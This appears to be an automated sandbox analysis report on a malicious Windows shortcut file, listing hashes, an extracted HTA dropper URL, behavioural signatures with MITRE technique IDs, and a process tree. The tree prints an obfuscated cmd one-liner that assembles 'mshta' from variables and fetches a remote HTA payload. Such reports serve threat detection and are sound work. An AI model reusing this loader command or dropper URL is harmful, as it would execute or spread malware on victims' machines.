2a09eb013a1479eb394b60d3768761e8d4e95799bf9ce452fcf8be6844139070

General

Target
A3asesor-T0LGO4.lnk
Size 1KB
Sample260803-pgb5saxcnf
SHA256 2a09eb013a1479eb394b60d3768761e8d4e95799bf9ce452fcf8be6844139070
MD5 d484842dcf3e5b756eb9f8c6797756f1
SHA1 c6c9a3fb82453a730110bd43a21890cc07c71ff6
SHA512 678e1036cbd464332a63a8ce1d3a06c16be88e9daf20ca6513172dd3c5e6ec4789277e31d41483083c454d685c9fa765378cbdc09008002686af49074f529347
TLSH
T1ED317B506EFD0658F3B78E7284BF571049BBB9958D10C61D0144454C1472A04E67BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://a3asesor.lat/h/estagio1.php?r=2C0C7D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2424	mshta.exe
7	2424	mshta.exe
9	2424	mshta.exe
26	2424	mshta.exe
27	2424	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5096	cmd.exe
3384	cmd.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\MuiCache	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4000	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 3384	5096	cmd.exe	87
PID 3384 wrote to memory of 2424	3384	cmd.exe	88
PID 2424 wrote to memory of 4000	2424	mshta.exe	94
PID 4000 wrote to memory of 5020	4000	rundll32.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\A3asesor-T0LGO4.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5096
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set Nxv=msh&&set XU=ta&&start "" !Nxv!!XU! https://a3asesor.lat/h/estagio1.php?r=2C0C7D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\System32\mshta.exe
    mshta https://a3asesor.lat/h/estagio1.php?r=2C0C7D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5020